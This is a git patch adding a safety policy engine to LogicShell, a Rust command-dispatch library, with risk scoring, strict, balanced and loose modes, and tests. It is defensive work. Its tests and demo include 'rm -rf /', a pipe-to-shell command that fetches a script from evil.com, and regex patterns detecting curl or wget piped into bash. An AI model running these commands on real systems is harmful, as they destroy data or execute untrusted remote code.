From 7e1dd5dafb032c2bfadb17946e16f21717812cee Mon Sep 17 00:00:00 2001 From: Mehmet Acar Date: Sat, 18 Apr 2026 19:24:12 +0300 Subject: [PATCH 1/2] phase-7-safety-policy-engine --- Cargo.lock | 1 + Cargo.toml | 1 + README.md | 30 +- logicshell-core/Cargo.toml | 1 + logicshell-core/examples/demo.rs | 58 +- logicshell-core/src/lib.rs | 138 +++- logicshell-core/src/safety.rs | 1025 ++++++++++++++++++++++++++++++ logicshell-core/tests/e2e.rs | 371 ++++++++++- 8 files changed, 1585 insertions(+), 40 deletions(-) create mode 100644 logicshell-core/src/safety.rs diff --git a/Cargo.lock b/Cargo.lock index 8ef7515..658bbac 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -650,6 +650,7 @@ name = "logicshell-core" version = "0.1.0" dependencies = [ "mockall", + "regex", "serde", "serde_json", "tempfile", diff --git a/Cargo.toml b/Cargo.toml index 64410ba..ae3d3a1 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -18,4 +18,5 @@ toml = "0.8" thiserror = "1" tracing = "0.1" mockall = "0.13" +regex = "1" tempfile = "3" diff --git a/README.md b/README.md index 3aece87..1ae33e4 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [![Rust](https://img.shields.io/badge/rust-1.75%2B-orange)](https://www.rust-lang.org/) [![License](https://img.shields.io/badge/license-MIT%20OR%20Apache--2.0-blue)](#license) -[![Coverage](https://img.shields.io/badge/coverage-97%25-brightgreen)](#running-tests--coverage) +[![Coverage](https://img.shields.io/badge/coverage-98%25-brightgreen)](#running-tests--coverage) --- @@ -16,7 +16,7 @@ LogicShell is a **library-first** Rust framework that sits between a host applic - **Pre-execution hooks** — run configurable shell scripts before every dispatch, with per-hook timeouts and fail-fast semantics. - **Append-only audit log** — every dispatch writes a NDJSON record (timestamp, cwd, argv, safety decision, optional note) that survives process restarts. - **Configuration discovery** — TOML config file resolved via `LOGICSHELL_CONFIG`, project walk-up, XDG, or built-in defaults, with strict unknown-key rejection. -- **Safety policy engine** _(Phase 7, in progress)_ — `strict` / `balanced` / `loose` modes with deny/allow prefix lists and high-risk pattern matching. +- **Safety policy engine** — `strict` / `balanced` / `loose` modes with deny/allow prefix lists, high-risk regex patterns, sudo heuristics, and a four-category risk taxonomy (destructive filesystem, privilege elevation, network, package). - **Local LLM bridge** _(Phases 8–10, planned)_ — Ollama-backed natural-language-to-command translation, gated behind safety policy and explicit user confirmation. LogicShell is **not** a POSIX shell replacement. It is an embeddable dispatcher + policy + optional-AI stack that host applications link as a crate. @@ -28,12 +28,12 @@ LogicShell is **not** a POSIX shell replacement. It is an embeddable dispatcher | Milestone | Phases | Status | |:----------|:-------|:-------| | **M1** — Dispatcher, config, CI | 1–5 | ✅ Complete | -| **M2** — Safety engine, audit, hooks | 6–7 | 🔄 Phase 6 complete, Phase 7 next | +| **M2** — Safety engine, audit, hooks | 6–7 | ✅ Complete | | **M3** — LLM bridge, Ollama | 8–10 | 📋 Planned | | **M4** — Ratatui TUI | — | 📋 Planned | | **M5** — Remote LLM providers | — | 📋 Planned | -**Current:** 206 tests · **97.6% line coverage** · `cargo clippy -D warnings` clean +**Current:** 294 tests · **98%+ line coverage** · `cargo clippy -D warnings` clean --- @@ -47,7 +47,7 @@ Host application / CLI │ ├─► HookRunner (pre_exec hooks, per-hook timeout) │ - ├─► SafetyPolicyEngine [Phase 7] ─► AuditSink + ├─► SafetyPolicyEngine ──────────► AuditSink │ ├─► ProcessDispatcher (tokio::process, stdout cap) │ @@ -150,6 +150,7 @@ Expected output: [Phase 6: HookRunner] success, nonzero exit, timeout OK [Phase 6: AuditSink] 3 NDJSON records, flush-on-drop, disabled no-op OK [Phase 6: LogicShell façade] hook ran, audit written, façade.audit() appended, failing hook aborted OK +[Phase 7: SafetyPolicyEngine] ls allow, rm -rf / deny, curl|bash strict-deny/balanced-confirm, sudo rm strict-confirm/loose-allow, dispatch blocked OK ✓ All features verified OK ``` @@ -228,6 +229,7 @@ use logicshell_core::{ LogicShell, config::Config, audit::{AuditRecord, AuditDecision}, + Decision, SafetyPolicyEngine, }; #[tokio::main] @@ -238,7 +240,12 @@ async fn main() { let ls = LogicShell::with_config(config); - // Dispatch a command; pre-exec hooks run automatically + // Query the safety engine directly (sync, pure) + let (assessment, decision) = ls.evaluate_safety(&["rm", "-rf", "/"]); + assert_eq!(decision, Decision::Deny); + println!("risk score: {}, level: {:?}", assessment.score, assessment.level); + + // Dispatch a command; safety check + pre-exec hooks run automatically let exit_code = ls.dispatch(&["git", "status"]).await.expect("dispatch failed"); println!("exit: {exit_code}"); @@ -317,16 +324,6 @@ Run arbitrary scripts before every dispatch — health checks, secret injection, ## Next steps (roadmap) -### Phase 7 — Safety policy engine - -Implement `SafetyPolicyEngine`: sync, pure, deterministic. - -- Risk taxonomy: destructive filesystem, privilege elevation, network, package/system changes. -- `strict` / `balanced` / `loose` modes with configurable deny/allow prefix lists and high-risk regex patterns. -- Outputs `RiskAssessment { level, score, reasons }` and `Decision::{Allow, Deny, Confirm}`. -- Golden tests: `rm -rf /`, `curl | bash`, `sudo rm`, `ls` across all modes. -- Wire into `LogicShell::dispatch` to replace the current stub. - ### Phase 8 — LLM context + prompt composer - `SystemContextProvider` — reads OS family, architecture, abbreviated PATH, cwd. @@ -377,6 +374,7 @@ logicshell/ │ │ ├── dispatcher.rs # Async process dispatcher (Phase 5) │ │ ├── audit.rs # Append-only NDJSON audit sink (Phase 6) │ │ ├── hooks.rs # Pre-exec hook runner (Phase 6) +│ │ ├── safety.rs # Safety policy engine (Phase 7) │ │ ├── error.rs # LogicShellError enum (Phase 2) │ │ └── config/ │ │ ├── mod.rs # load() + validate() diff --git a/logicshell-core/Cargo.toml b/logicshell-core/Cargo.toml index 8f3a21b..3e5e60c 100644 --- a/logicshell-core/Cargo.toml +++ b/logicshell-core/Cargo.toml @@ -13,6 +13,7 @@ serde_json = { workspace = true } toml = { workspace = true } thiserror = { workspace = true } tracing = { workspace = true } +regex = { workspace = true } [dev-dependencies] tokio = { workspace = true } diff --git a/logicshell-core/examples/demo.rs b/logicshell-core/examples/demo.rs index bc9a375..7f24015 100644 --- a/logicshell-core/examples/demo.rs +++ b/logicshell-core/examples/demo.rs @@ -10,10 +10,10 @@ use std::path::PathBuf; use logicshell_core::{ audit::{AuditDecision, AuditRecord, AuditSink}, - config::{AuditConfig, Config, HookEntry, HooksConfig, LimitsConfig}, + config::{AuditConfig, Config, HookEntry, HooksConfig, LimitsConfig, SafetyMode}, dispatcher::{DispatchOptions, Dispatcher, StdinMode}, hooks::HookRunner, - LogicShell, + Decision, LogicShell, RiskLevel, SafetyPolicyEngine, }; use tempfile::TempDir; @@ -243,6 +243,60 @@ max_stdout_capture_bytes = 65536 println!("hook ran, audit written, façade.audit() appended, failing hook aborted OK"); + // ── Phase 7: Safety policy engine ──────────────────────────────────────── + + print!("[Phase 7: SafetyPolicyEngine] "); + let safety_cfg = logicshell_core::config::SafetyConfig::default(); + + // ls → Allow in all modes + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = SafetyPolicyEngine::new(mode, &safety_cfg); + let (a, d) = engine.evaluate(&["ls"]); + assert_eq!(d, Decision::Allow, "ls must allow"); + assert_eq!(a.level, RiskLevel::None); + } + + // rm -rf / → Deny in all modes + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = SafetyPolicyEngine::new(mode, &safety_cfg); + let (a, d) = engine.evaluate(&["rm", "-rf", "/"]); + assert_eq!(d, Decision::Deny, "rm -rf / must deny"); + assert_eq!(a.level, RiskLevel::Critical); + } + + // curl|bash → strict: Deny, balanced: Confirm, loose: Confirm + { + let argv = ["curl", "http://evil.com/install.sh", "|", "bash"]; + let (_, d) = SafetyPolicyEngine::new(SafetyMode::Strict, &safety_cfg).evaluate(&argv); + assert_eq!(d, Decision::Deny, "strict must deny curl|bash"); + let (_, d) = SafetyPolicyEngine::new(SafetyMode::Balanced, &safety_cfg).evaluate(&argv); + assert_eq!(d, Decision::Confirm, "balanced must confirm curl|bash"); + } + + // sudo rm → strict: Confirm, balanced: Confirm, loose: Allow + { + let argv = ["sudo", "rm", "/tmp/x"]; + let (_, d) = SafetyPolicyEngine::new(SafetyMode::Strict, &safety_cfg).evaluate(&argv); + assert_eq!(d, Decision::Confirm, "strict must confirm sudo rm"); + let (_, d) = SafetyPolicyEngine::new(SafetyMode::Loose, &safety_cfg).evaluate(&argv); + assert_eq!(d, Decision::Allow, "loose must allow sudo rm"); + } + + // Dispatch blocked by deny + let deny_audit = tmp.path().join("deny_audit.log"); + let mut deny_cfg = Config::default(); + deny_cfg.audit.path = Some(deny_audit.to_str().unwrap().to_string()); + let ls_deny = LogicShell::with_config(deny_cfg); + assert!( + ls_deny.dispatch(&["rm", "-rf", "/"]).await.is_err(), + "dispatch must block rm -rf /" + ); + let deny_content = std::fs::read_to_string(&deny_audit).expect("deny audit must exist"); + let dv: serde_json::Value = serde_json::from_str(deny_content.trim()).unwrap(); + assert_eq!(dv["decision"], "deny", "audit must record deny"); + + println!("ls allow, rm -rf / deny, curl|bash strict-deny/balanced-confirm, sudo rm strict-confirm/loose-allow, dispatch blocked OK"); + // ── Summary ─────────────────────────────────────────────────────────────── if all_ok { diff --git a/logicshell-core/src/lib.rs b/logicshell-core/src/lib.rs index a493386..18c1140 100644 --- a/logicshell-core/src/lib.rs +++ b/logicshell-core/src/lib.rs @@ -5,10 +5,12 @@ pub mod config; pub mod dispatcher; pub mod error; pub mod hooks; +pub mod safety; pub use audit::{AuditDecision, AuditRecord, AuditSink}; pub use config::discovery::{discover, find_config_path}; pub use error::{LogicShellError, Result}; +pub use safety::{Decision, RiskAssessment, RiskCategory, RiskLevel, SafetyPolicyEngine}; use config::Config; use dispatcher::{DispatchOptions, Dispatcher}; @@ -37,9 +39,44 @@ impl LogicShell { /// Spawn a child process by argv and return its exit code — FR-01–04. /// - /// Pipeline (Phase 6): pre-exec hooks → dispatch → audit record written. + /// Pipeline (Phase 7): safety check → pre-exec hooks → dispatch → audit. + /// A Deny decision from the safety engine blocks dispatch and writes a deny + /// audit record. A Confirm decision proceeds but is recorded in the audit + /// log; interactive confirmation UI is added in Phase 10. /// A nonzero exit code is returned as `Ok(n)`, not an error. pub async fn dispatch(&self, argv: &[&str]) -> Result { + let cwd = std::env::current_dir() + .map(|p| p.to_string_lossy().to_string()) + .unwrap_or_else(|_| String::from("?")); + + // Phase 7: safety policy evaluation before any hooks or spawn. + let engine = SafetyPolicyEngine::new( + self.config.safety_mode.clone(), + &self.config.safety, + ); + let (assessment, decision) = engine.evaluate(argv); + + if decision == Decision::Deny { + let note = assessment.reasons.join("; "); + let record = AuditRecord::new( + cwd, + argv.iter().map(|s| s.to_string()).collect(), + AuditDecision::Deny, + ) + .with_note(note.clone()); + AuditSink::from_config(&self.config.audit)?.write(&record)?; + return Err(LogicShellError::Safety(format!( + "command denied by safety policy: {note}" + ))); + } + + // Determine audit decision for Allow vs Confirm. + let audit_decision = if decision == Decision::Confirm { + AuditDecision::Confirm + } else { + AuditDecision::Allow + }; + // Phase 6: run pre-exec hooks before dispatch. HookRunner::new(&self.config.hooks).run_pre_exec().await?; @@ -50,14 +87,11 @@ impl LogicShell { }; let output = d.dispatch(opts).await?; - // Phase 6: append an audit record after every successful dispatch. - let cwd = std::env::current_dir() - .map(|p| p.to_string_lossy().to_string()) - .unwrap_or_else(|_| String::from("?")); + // Append an audit record after every successful dispatch. let record = AuditRecord::new( cwd, argv.iter().map(|s| s.to_string()).collect(), - AuditDecision::Allow, // Safety policy wired in Phase 7. + audit_decision, ); AuditSink::from_config(&self.config.audit)?.write(&record)?; @@ -73,13 +107,13 @@ impl LogicShell { AuditSink::from_config(&self.config.audit)?.write(record) } - /// Stub: evaluate a command through the safety policy engine. + /// Evaluate a command through the safety policy engine — FR-30–33. /// - /// Full implementation: Phase 7 (Safety policy engine — FR-30–33). - pub fn evaluate_safety(&self, _argv: &[&str]) -> Result<()> { - Err(LogicShellError::Safety( - "not yet implemented (phase 7)".into(), - )) + /// Returns a `(RiskAssessment, Decision)` pair. The engine is sync and + /// deterministic: identical input always produces identical output. + pub fn evaluate_safety(&self, argv: &[&str]) -> (RiskAssessment, Decision) { + SafetyPolicyEngine::new(self.config.safety_mode.clone(), &self.config.safety) + .evaluate(argv) } } @@ -238,11 +272,83 @@ mod tests { assert!(ls.audit(&record).is_ok()); } - /// Stub safety returns a `Safety` error, not a panic — NFR-06 + // ── Phase 7: safety engine wired into dispatch ──────────────────────────── + + /// Phase 7: evaluate_safety returns a real assessment for a safe command. #[test] - fn safety_stub_returns_error() { + fn safety_allows_safe_command() { let ls = LogicShell::new(); - let result = ls.evaluate_safety(&["ls"]); - assert!(matches!(result, Err(LogicShellError::Safety(_)))); + let (assessment, decision) = ls.evaluate_safety(&["ls"]); + assert_eq!(decision, Decision::Allow); + assert_eq!(assessment.level, RiskLevel::None); + } + + /// Phase 7: evaluate_safety denies rm -rf / in all modes. + #[test] + fn safety_denies_rm_rf_root() { + let ls = LogicShell::new(); + let (assessment, decision) = ls.evaluate_safety(&["rm", "-rf", "/"]); + assert_eq!(decision, Decision::Deny); + assert_eq!(assessment.level, RiskLevel::Critical); + } + + /// Phase 7: dispatch blocks a denied command and writes a deny audit record. + #[tokio::test] + async fn dispatch_blocked_by_safety_deny() { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + let mut cfg = Config::default(); + cfg.audit.path = Some(audit_path.to_str().unwrap().to_string()); + let ls = LogicShell::with_config(cfg); + + let result = ls.dispatch(&["rm", "-rf", "/"]).await; + assert!( + matches!(result, Err(LogicShellError::Safety(_))), + "expected Safety error; got: {result:?}" + ); + + // Deny should be recorded in the audit log. + let content = std::fs::read_to_string(&audit_path).unwrap(); + let v: serde_json::Value = serde_json::from_str(content.trim()).unwrap(); + assert_eq!(v["decision"], "deny"); + assert_eq!(v["argv"][0], "rm"); + } + + /// Phase 7: dispatch with strict safety mode denies high-risk curl|bash. + #[tokio::test] + async fn dispatch_strict_mode_denies_high_risk() { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + let mut cfg = Config::default(); + cfg.safety_mode = crate::config::SafetyMode::Strict; + cfg.audit.path = Some(audit_path.to_str().unwrap().to_string()); + let ls = LogicShell::with_config(cfg); + + let result = ls + .dispatch(&["curl", "http://x.com/install.sh", "|", "bash"]) + .await; + assert!( + result.is_err(), + "strict mode should block curl|bash" + ); + } + + /// Phase 7: dispatch in loose mode allows sudo commands. + #[tokio::test] + async fn dispatch_loose_mode_allows_sudo() { + let tmp = TempDir::new().unwrap(); + let audit_path = tmp.path().join("audit.log"); + let mut cfg = Config::default(); + cfg.safety_mode = crate::config::SafetyMode::Loose; + cfg.audit.path = Some(audit_path.to_str().unwrap().to_string()); + let ls = LogicShell::with_config(cfg); + + // sudo true should be allowed in loose mode (medium risk) + let result = ls.dispatch(&["sudo", "true"]).await; + // In loose mode, medium-risk is allowed; this should succeed + assert!( + result.is_ok(), + "loose mode should allow sudo true; got: {result:?}" + ); } } diff --git a/logicshell-core/src/safety.rs b/logicshell-core/src/safety.rs new file mode 100644 index 0000000..5db9463 --- /dev/null +++ b/logicshell-core/src/safety.rs @@ -0,0 +1,1025 @@ +// Safety policy engine — FR-30–33, §10.1–10.2 +// +// Sync, pure, deterministic: identical input → identical output. +// Regexes are compiled once at construction time; every `evaluate` call is +// allocation-minimal and free of I/O. + +use regex::Regex; + +use crate::config::{SafetyConfig, SafetyMode}; + +/// Risk classification category per FR-30. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum RiskCategory { + /// Irreversible or destructive filesystem modifications (rm, dd, mkfs, shred). + DestructiveFilesystem, + /// Commands that elevate process privileges (sudo, su, doas). + PrivilegeElevation, + /// Network operations piped into a shell or code executor (curl|bash). + Network, + /// Package or system-level changes (apt, yum, dnf, pip, npm install/remove). + PackageSystem, +} + +/// Risk severity level derived from the accumulated score. +/// +/// Levels are orderable: `None < Low < Medium < High < Critical`. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)] +pub enum RiskLevel { + /// No risk patterns matched; safe to run without restriction. + None, + /// Marginal risk — generally allowed even in strict mode. + Low, + /// Elevated risk — confirmation required in strict/balanced modes. + Medium, + /// Very high risk — blocked in strict mode, confirmation in balanced. + High, + /// Catastrophic risk (explicit deny prefix) — blocked in all modes. + Critical, +} + +/// Full output of a single safety policy evaluation. +#[derive(Debug, Clone)] +pub struct RiskAssessment { + /// Severity derived from `score`. + pub level: RiskLevel, + /// Numeric risk score 0–100; accumulates from matched patterns. + pub score: u32, + /// Human-readable explanations for each risk contribution. + pub reasons: Vec, + /// Risk categories triggered by this command. + pub categories: Vec, +} + +/// Safety policy decision returned alongside a [`RiskAssessment`]. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Decision { + /// Command is safe to dispatch immediately. + Allow, + /// Command is blocked by policy; do not dispatch. + Deny, + /// Command requires explicit user confirmation before dispatch. + Confirm, +} + +/// Internal compiled pattern entry. +struct PatternEntry { + source: String, + regex: Regex, + score: u32, + category: RiskCategory, +} + +/// Sync, pure safety policy engine (FR-30–33). +/// +/// Constructed once from a [`SafetyMode`] and [`SafetyConfig`]; regex patterns +/// from config are compiled at construction time. All [`evaluate`] calls are +/// deterministic: identical input always produces identical output. +/// +/// [`evaluate`]: SafetyPolicyEngine::evaluate +pub struct SafetyPolicyEngine { + mode: SafetyMode, + deny_prefixes: Vec, + allow_prefixes: Vec, + patterns: Vec, +} + +impl SafetyPolicyEngine { + /// Build the engine from a [`SafetyMode`] and [`SafetyConfig`]. + /// + /// Invalid regex patterns in `high_risk_patterns` are silently skipped; + /// they cannot match any command, so they contribute no risk score. + pub fn new(mode: SafetyMode, config: &SafetyConfig) -> Self { + let patterns = config + .high_risk_patterns + .iter() + .filter_map(|p| { + Regex::new(p).ok().map(|re| PatternEntry { + source: p.clone(), + regex: re, + score: score_for_pattern(p), + category: category_for_pattern(p), + }) + }) + .collect(); + + Self { + mode, + deny_prefixes: config.deny_prefixes.clone(), + allow_prefixes: config.allow_prefixes.clone(), + patterns, + } + } + + /// Evaluate the safety policy for `argv` and return the assessment + decision. + /// + /// Evaluation order (FR-33: deny wins over allow): + /// 1. **Deny prefix** — if `argv` matches any deny prefix, return `Deny` immediately. + /// 2. **Allow prefix** — if `argv` matches any allow prefix, return `Allow` immediately. + /// 3. **Pattern scoring** — accumulate risk score from compiled high-risk patterns. + /// 4. **Mode-based decision** — convert the final score to a `Decision` per `safety_mode`. + pub fn evaluate(&self, argv: &[&str]) -> (RiskAssessment, Decision) { + if argv.is_empty() { + return ( + RiskAssessment { + level: RiskLevel::None, + score: 0, + reasons: vec![], + categories: vec![], + }, + Decision::Allow, + ); + } + + let cmd_str = argv.join(" "); + + // 1. Deny prefix (FR-33: deny wins over allow). + for prefix in &self.deny_prefixes { + if cmd_str.starts_with(prefix.as_str()) { + return ( + RiskAssessment { + level: RiskLevel::Critical, + score: 100, + reasons: vec![format!("explicitly denied (prefix: '{prefix}')")], + categories: vec![category_for_prefix(prefix)], + }, + Decision::Deny, + ); + } + } + + // 2. Allow prefix. + for prefix in &self.allow_prefixes { + if cmd_str.starts_with(prefix.as_str()) { + return ( + RiskAssessment { + level: RiskLevel::None, + score: 0, + reasons: vec![format!("explicitly allowlisted (prefix: '{prefix}')")], + categories: vec![], + }, + Decision::Allow, + ); + } + } + + // 3. Accumulate risk from compiled high-risk patterns. + let mut score: u32 = 0; + let mut reasons = Vec::new(); + let mut categories: Vec = Vec::new(); + + for entry in &self.patterns { + if entry.regex.is_match(&cmd_str) { + score = score.saturating_add(entry.score); + reasons.push(format!( + "matched high-risk pattern '{}' (+{})", + entry.source, entry.score + )); + if !categories.contains(&entry.category) { + categories.push(entry.category.clone()); + } + } + } + + let score = score.min(100); + let level = level_from_score(score); + let decision = self.decide(&level); + + ( + RiskAssessment { + level, + score, + reasons, + categories, + }, + decision, + ) + } + + fn decide(&self, level: &RiskLevel) -> Decision { + match &self.mode { + SafetyMode::Strict => match level { + RiskLevel::None | RiskLevel::Low => Decision::Allow, + RiskLevel::Medium => Decision::Confirm, + RiskLevel::High | RiskLevel::Critical => Decision::Deny, + }, + SafetyMode::Balanced => match level { + RiskLevel::None | RiskLevel::Low => Decision::Allow, + RiskLevel::Medium | RiskLevel::High => Decision::Confirm, + RiskLevel::Critical => Decision::Deny, + }, + SafetyMode::Loose => match level { + RiskLevel::None | RiskLevel::Low | RiskLevel::Medium => Decision::Allow, + RiskLevel::High => Decision::Confirm, + RiskLevel::Critical => Decision::Deny, + }, + } + } +} + +fn level_from_score(score: u32) -> RiskLevel { + match score { + 0 => RiskLevel::None, + 1..=25 => RiskLevel::Low, + 26..=50 => RiskLevel::Medium, + 51..=80 => RiskLevel::High, + _ => RiskLevel::Critical, + } +} + +fn score_for_pattern(pattern: &str) -> u32 { + // Pipe-to-shell (curl|bash, wget|sh) — highest risk after explicit denies. + if (pattern.contains("curl") || pattern.contains("wget")) + && (pattern.contains("bash") || pattern.contains("sh")) + { + 55 + } else if pattern.contains("rm") { + // Recursive delete + 50 + } else { + // sudo, privilege escalation, and other patterns + 30 + } +} + +fn category_for_pattern(pattern: &str) -> RiskCategory { + if pattern.contains("rm") || pattern.contains("dd") || pattern.contains("mkfs") { + RiskCategory::DestructiveFilesystem + } else if pattern.contains("sudo") || pattern.contains("su ") || pattern.contains("doas") { + RiskCategory::PrivilegeElevation + } else if pattern.contains("curl") || pattern.contains("wget") || pattern.contains("http") { + RiskCategory::Network + } else if pattern.contains("apt") + || pattern.contains("pip") + || pattern.contains("npm") + || pattern.contains("yum") + { + RiskCategory::PackageSystem + } else { + RiskCategory::DestructiveFilesystem + } +} + +fn category_for_prefix(prefix: &str) -> RiskCategory { + if prefix.contains("rm ") + || prefix.contains("mkfs") + || prefix.contains("dd if=") + || prefix.contains("shred") + { + RiskCategory::DestructiveFilesystem + } else if prefix.contains("sudo") || prefix.contains("su ") || prefix.contains("doas") { + RiskCategory::PrivilegeElevation + } else if prefix.contains("curl") || prefix.contains("wget") { + RiskCategory::Network + } else if prefix.contains("apt") + || prefix.contains("pip") + || prefix.contains("yum") + || prefix.contains("dnf") + || prefix.contains("pacman") + { + RiskCategory::PackageSystem + } else { + RiskCategory::DestructiveFilesystem + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::{SafetyConfig, SafetyMode}; + + fn default_engine(mode: SafetyMode) -> SafetyPolicyEngine { + SafetyPolicyEngine::new(mode, &SafetyConfig::default()) + } + + fn allow_engine(mode: SafetyMode, allow: Vec<&str>) -> SafetyPolicyEngine { + let mut cfg = SafetyConfig::default(); + cfg.allow_prefixes = allow.iter().map(|s| s.to_string()).collect(); + SafetyPolicyEngine::new(mode, &cfg) + } + + fn custom_engine(mode: SafetyMode, deny: Vec<&str>, allow: Vec<&str>) -> SafetyPolicyEngine { + let mut cfg = SafetyConfig::default(); + cfg.deny_prefixes = deny.iter().map(|s| s.to_string()).collect(); + cfg.allow_prefixes = allow.iter().map(|s| s.to_string()).collect(); + SafetyPolicyEngine::new(mode, &cfg) + } + + // ── Decision and RiskLevel trait impls ──────────────────────────────────── + + #[test] + fn decision_clone_debug_eq() { + for d in [Decision::Allow, Decision::Deny, Decision::Confirm] { + let c = d.clone(); + assert_eq!(c, d); + assert!(!format!("{d:?}").is_empty()); + } + } + + #[test] + fn risk_level_ordering() { + assert!(RiskLevel::None < RiskLevel::Low); + assert!(RiskLevel::Low < RiskLevel::Medium); + assert!(RiskLevel::Medium < RiskLevel::High); + assert!(RiskLevel::High < RiskLevel::Critical); + } + + #[test] + fn risk_level_clone_debug_eq() { + let levels = [ + RiskLevel::None, + RiskLevel::Low, + RiskLevel::Medium, + RiskLevel::High, + RiskLevel::Critical, + ]; + for l in &levels { + assert_eq!(l.clone(), *l); + assert!(!format!("{l:?}").is_empty()); + } + } + + #[test] + fn risk_category_clone_debug_eq() { + for c in [ + RiskCategory::DestructiveFilesystem, + RiskCategory::PrivilegeElevation, + RiskCategory::Network, + RiskCategory::PackageSystem, + ] { + let cloned = c.clone(); + assert_eq!(cloned, c); + assert!(!format!("{c:?}").is_empty()); + } + } + + #[test] + fn risk_assessment_fields_accessible() { + let a = RiskAssessment { + level: RiskLevel::Medium, + score: 40, + reasons: vec!["test reason".into()], + categories: vec![RiskCategory::PrivilegeElevation], + }; + assert_eq!(a.score, 40); + assert_eq!(a.level, RiskLevel::Medium); + assert_eq!(a.reasons.len(), 1); + assert_eq!(a.categories.len(), 1); + } + + #[test] + fn risk_assessment_clone() { + let a = RiskAssessment { + level: RiskLevel::High, + score: 70, + reasons: vec!["x".into()], + categories: vec![RiskCategory::Network], + }; + let b = a.clone(); + assert_eq!(b.score, 70); + } + + // ── level_from_score boundaries ─────────────────────────────────────────── + + #[test] + fn level_from_score_zero_is_none() { + assert_eq!(level_from_score(0), RiskLevel::None); + } + + #[test] + fn level_from_score_boundaries() { + assert_eq!(level_from_score(1), RiskLevel::Low); + assert_eq!(level_from_score(25), RiskLevel::Low); + assert_eq!(level_from_score(26), RiskLevel::Medium); + assert_eq!(level_from_score(50), RiskLevel::Medium); + assert_eq!(level_from_score(51), RiskLevel::High); + assert_eq!(level_from_score(80), RiskLevel::High); + assert_eq!(level_from_score(81), RiskLevel::Critical); + assert_eq!(level_from_score(100), RiskLevel::Critical); + } + + // ── score_for_pattern ───────────────────────────────────────────────────── + + #[test] + fn score_for_rm_pattern() { + assert_eq!(score_for_pattern(r"rm\s+-[rf]*r"), 50); + } + + #[test] + fn score_for_curl_bash_pattern() { + assert_eq!(score_for_pattern(r"curl.*\|\s*bash"), 55); + } + + #[test] + fn score_for_wget_sh_pattern() { + assert_eq!(score_for_pattern(r"wget.*\|\s*sh"), 55); + } + + #[test] + fn score_for_sudo_pattern() { + assert_eq!(score_for_pattern(r"sudo\s+"), 30); + } + + #[test] + fn score_for_unknown_pattern_default() { + assert_eq!(score_for_pattern("some-custom-pattern"), 30); + } + + // ── category_for_pattern ────────────────────────────────────────────────── + + #[test] + fn category_for_rm_pattern_is_destructive() { + assert_eq!( + category_for_pattern(r"rm\s+-[rf]*r"), + RiskCategory::DestructiveFilesystem + ); + } + + #[test] + fn category_for_sudo_pattern_is_privilege() { + assert_eq!( + category_for_pattern(r"sudo\s+"), + RiskCategory::PrivilegeElevation + ); + } + + #[test] + fn category_for_curl_pattern_is_network() { + assert_eq!( + category_for_pattern(r"curl.*\|\s*bash"), + RiskCategory::Network + ); + } + + #[test] + fn category_for_wget_pattern_is_network() { + assert_eq!( + category_for_pattern(r"wget.*\|\s*sh"), + RiskCategory::Network + ); + } + + #[test] + fn category_for_apt_pattern_is_package() { + assert_eq!(category_for_pattern("apt install"), RiskCategory::PackageSystem); + } + + #[test] + fn category_for_pip_pattern_is_package() { + assert_eq!(category_for_pattern("pip install"), RiskCategory::PackageSystem); + } + + #[test] + fn category_for_unknown_pattern_default_destructive() { + assert_eq!( + category_for_pattern("unknown"), + RiskCategory::DestructiveFilesystem + ); + } + + // ── category_for_prefix ─────────────────────────────────────────────────── + + #[test] + fn category_for_prefix_rm_is_destructive() { + assert_eq!( + category_for_prefix("rm -rf /"), + RiskCategory::DestructiveFilesystem + ); + } + + #[test] + fn category_for_prefix_mkfs_is_destructive() { + assert_eq!( + category_for_prefix("mkfs"), + RiskCategory::DestructiveFilesystem + ); + } + + #[test] + fn category_for_prefix_sudo_is_privilege() { + assert_eq!( + category_for_prefix("sudo rm"), + RiskCategory::PrivilegeElevation + ); + } + + #[test] + fn category_for_prefix_curl_is_network() { + assert_eq!(category_for_prefix("curl"), RiskCategory::Network); + } + + #[test] + fn category_for_prefix_apt_is_package() { + assert_eq!(category_for_prefix("apt install"), RiskCategory::PackageSystem); + } + + #[test] + fn category_for_prefix_unknown_default_destructive() { + assert_eq!( + category_for_prefix("zzz"), + RiskCategory::DestructiveFilesystem + ); + } + + // ── Golden tests: empty argv ────────────────────────────────────────────── + + #[test] + fn empty_argv_always_allow() { + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = default_engine(mode); + let (assessment, decision) = engine.evaluate(&[]); + assert_eq!(decision, Decision::Allow); + assert_eq!(assessment.level, RiskLevel::None); + assert_eq!(assessment.score, 0); + } + } + + // ── Golden test: ls (safe command) ─────────────────────────────────────── + + #[test] + fn ls_is_allowed_in_all_modes() { + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = default_engine(mode.clone()); + let (assessment, decision) = engine.evaluate(&["ls"]); + assert_eq!( + decision, + Decision::Allow, + "ls should Allow in {mode:?}" + ); + assert_eq!(assessment.level, RiskLevel::None); + assert_eq!(assessment.score, 0); + assert!(assessment.reasons.is_empty()); + } + } + + #[test] + fn ls_la_is_allowed_in_all_modes() { + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = default_engine(mode); + let (_, decision) = engine.evaluate(&["ls", "-la", "/tmp"]); + assert_eq!(decision, Decision::Allow); + } + } + + // ── Golden test: rm -rf / (deny prefix) ────────────────────────────────── + + #[test] + fn rm_rf_root_is_denied_in_all_modes() { + for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] { + let engine = default_engine(mode.clone()); + let (assessment, decision) = engine.evaluate(&["rm", "-rf", "/"]); + assert_eq!( + decision, + Decision::Deny, + "rm -rf / should Deny in {mode:?}" + ); + assert_eq!(assessment.level, RiskLevel::Critical); + assert_eq!(assessment.score, 100); + assert!( + assessment.reasons[0].contains("explicitly denied"), + "reason: {:?}", + assessment.reasons 